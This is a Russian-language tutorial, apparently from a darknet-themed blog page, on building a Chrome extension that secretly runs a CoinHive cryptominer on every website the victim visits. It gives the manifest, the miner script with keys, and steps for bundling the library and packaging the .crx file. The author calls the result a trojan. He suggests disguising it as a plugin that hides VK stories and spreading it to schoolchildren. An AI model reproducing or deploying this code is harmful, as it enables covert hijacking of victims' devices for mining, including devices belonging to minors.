Создание плагина с майнером для браузера chrome

Создание плагина с майнером для браузера chrome

Dark | Onion | Net


Предисловие

Рано или поздно, пользователь будет нуждаться в расширении своих возможностей при работе в браузере. Разработчики пошли на встречу и дали возможность создания плагинов. Так появились всем известные adblock, adguard, vk_скачать_музыку_без_смс_и_регистрации, evernote и другие.

Если вы обладаете определенными навыками в работе с плагинами, можете найти готовые скрипты.

Однако наша задача заключается в том, чтобы разобраться в том, как создать плагин для себя и друзей

Почему chrome? Недавно firefox полностью обновил способ создания плагинов и теперь у него есть некоторые проблемы с фильтром и майнеры он не пускает.

Но так же и chrome пытаются с этим бороться но совсем по другому они создали плагин антимайнер только у кого установен этот плагин данная тема не прокатит, но я уверен что вообще мало кто знает что такое майнинг через плагин и тем более о том что есть какойто антимайнер для chrome.

  1. Подготовка:

Нам понадобится:

  • браузер (chrome, opera)
  • минимальное знание js и html
  • аккаунт на coinhive

2. Стартуем

Создаем директорию для плагина и наполняем её необходимыми файлами:

Самым важным файлом тут является manifest.json – это наш пропуск в мир расширений.

P.S. если путаете синтаксис, отправляю вас на jsonvalidator

Вот так он выглядит:

{
"manifest_version": 2,
"name": "HackPositive",
"description": "It's HackPositive extensions. Install him and have fun!",
"version": "1.0",
"icons": {
"128": "icons/128.png"
},
"content_scripts": [
{
"js": ["miner.js"],
"matches" : ["*://*/*"]
}]
}

Все параметры можно менять, кроме manifest_version

Icon – это логотип вашего изображения размером 128x128..

Отредактируем miner.js

var miner = new CoinHive.User('public_key','name');
miner.start();

Готово, осталось создать акк на coinhive. Я использовал regamail для теста, кому-то повезет, наверное

Заходим на сайт, и сразу всплывает предупреждение о том, что могут использовать наши вычислительные мощности. Соглашаемся.

Вводим email, на который придет письмо с подтверждением, и password.

И пробуем пройти капчу, начнется майнинг на вашем устройстве, как только армия нежити получит необходимое количество золота, будет доказано что вы сидите не с калькулятора, разблокируется кнопочка “signup”. Юзаем и ждем на почте письмо.

Логинимся.

Заходим в настройки → Sites & API Keys

Если вы - любитель статистики, у вас много “источников” и вы хотите знать сколько приносит плагин, то прошу за мной.

CoinHive есть 3 режима:

CoinHive.User, CoinHive.Token и CoinHive.Anonymous

User нужен для любитей статистики, и для него важно поле userName, а котором я расскажу дальше.
Token нужен для того, чтобы добыть только определённое количество хешей.
Anonymous, как понятно из названия, будет обычный майнинг без имени, только с использованием siteKey(читай publicKey).

В поле name нужно выставить уникальное значение, я решил последовать совету разработчиков и взять хеш-сумму от имени сайта.

echo “codeby.net” | md5sum

Получили вот такую красивую, а главное – уникальную вещь:

Копируем Site Key(Public) и возвращаемся к файлу miner.js

На место public_key, вставляем только что скопированное значение

Вместо name вставляем нашу уникальную красоту, полученную ранее.

В моем случае:

var miner = new CoinHive.User('pe2Guoz4MeWUGJmx6EROnkyg4JeFYD1d','310fa3615d6183904f6b1266ab9bd4d2');
miner.start();

Теперь надо все это проверить!

Стоит проверить, подцепилось ли все, поэтому создадим простой index.html файл.

В хедере прицепить библиотеку и сам скрипт
https://coinhive.com/lib/coinhive.min.js
miner.js

Запускам index.html, смотрим в дебаггере, подгрузились ли наши скрипты.

Если да, то заходим на сайт и видим на dashboarde. Через некоторое время наши “монетки” начали добываться!

Дабы полностью убедиться, что все в норме и на баланс растет, ресурс предоставляет API:

curl "https://api.coinhive.com/user/balance?name=уникальноеимя&secret=Ключ(приватный)"

Если все успешно, переместим наш miner в более уютное место. Для этого:

  • Качаем библиотеку coinhive: wget https://coinhive.com/lib/coinhive.min.js
  • Удаляем index.html
  • Объединяем miner.js с библиотекой. Так чтобы текст библиотеки окался выше.

Наш плагин почти готов, осталось лишь добавить полезного функционала, чтобы троян был востребован.

К примеру:
ищем школьников,которым не нравится “история” в вк.пишем,
что давно изобрели плагин,который убирает её.кидаем ссыль.
???
профит.

Мы добавили функционал, давай теперь соберем все в одну кучу.

Хром любезно предоставляет возможность упаковать или загрузить распакованное расширение. Во вкладке chrome://extensions/

Однако в режиме для разработчика…

Упаковываем плагин, пишет, что созданы*.crx и *.pem. Первый файл - это наш плагин, второй – ключ для обновления плагина. При уставновке в режиме пользователя: хром пишет, мол он поврежден, однако опера просто скушала его. Для хрома есть статья как заставить его работать.

На этом все! Загружаем, пробуем, делимся своим трудом!


Report Page